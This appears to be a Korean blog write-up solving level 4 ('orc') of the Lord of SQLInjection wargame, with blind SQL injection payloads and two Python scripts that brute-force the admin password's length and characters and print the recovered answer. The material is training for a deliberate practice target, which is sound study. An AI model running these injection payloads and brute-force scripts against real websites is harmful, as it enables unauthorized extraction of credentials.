#WarGame/Lord of SQLInjection

Lord of SQLInjection 4번 orc

Y0u_4re_s0_5weet 2021. 8. 6. 19:07
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

 

Lord of SQLInjection 4번 orc

 

 

 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

이전 문제에서는 id가 admin일때 문제가 해결되었지만 이번문제는 id가 admin일때 pw값을 직접 비교한다.

즉, pw값을 정확히 알아내야 하는 문제이다.

 

Blind SQLInjection으로 해결할 수 있다.

우선 코드에서 length가 필터링이 안 되어있으므로 pw의 길이를 알아낼수 있다.

 

 

 

 

pw=''or length(pw)>5;#'

length 구문이 참인지 거짓인지를 Hello admin이라는 문자열로 알려준다.

pw는 5보다 크다.

찾다 보면 길이는 8자이다.

 

 

python으로도 풀 수 있다.

 

import requests
import re

url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies={"PHPSESSID":"본인의 세션값"} 

for i in range(0,10):
    pay=f"?pw='or id='admin' and length(pw)={i};%23" #pw 길이 비교
    res=requests.get(url+pay,cookies=cookies)
    
    find = re.findall("Hello admin", res.text) # Hello admin 문자열 매칭
    
    if find:
        print("length:",i)
        length=i
        break

==> length: 8

 

 

 

이제는 첫글자를 찾을 차례이다.

substring으로 찾을 수 있다.

 

 

 

pw=''or substring(pw,1,1)=0;#'

substring(문자열, 시작위치, 개수)

첫번째 문자열은 0이다.

 

 

이것도 python으로 풀 수 있다.

import requests

url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies={"PHPSESSID":"686fl740nsb98gmrbn9p0mlhg3"}

pw=""
for i in range(1,9):
    for j in range(32,127):
        pay=f"?pw='or id='admin' and ord(substring(pw,{i},1))={j};%23" #첫글자씩 찾기
        res=requests.get(url+pay,cookies=cookies)
        find = re.findall("Hello admin", res.text)
    
        if find:
            pw+=chr(j)
            break
print("pw=",pw)

 

pw= 095a9852

 

 

 

 

 

 

 

 

 

 

반응형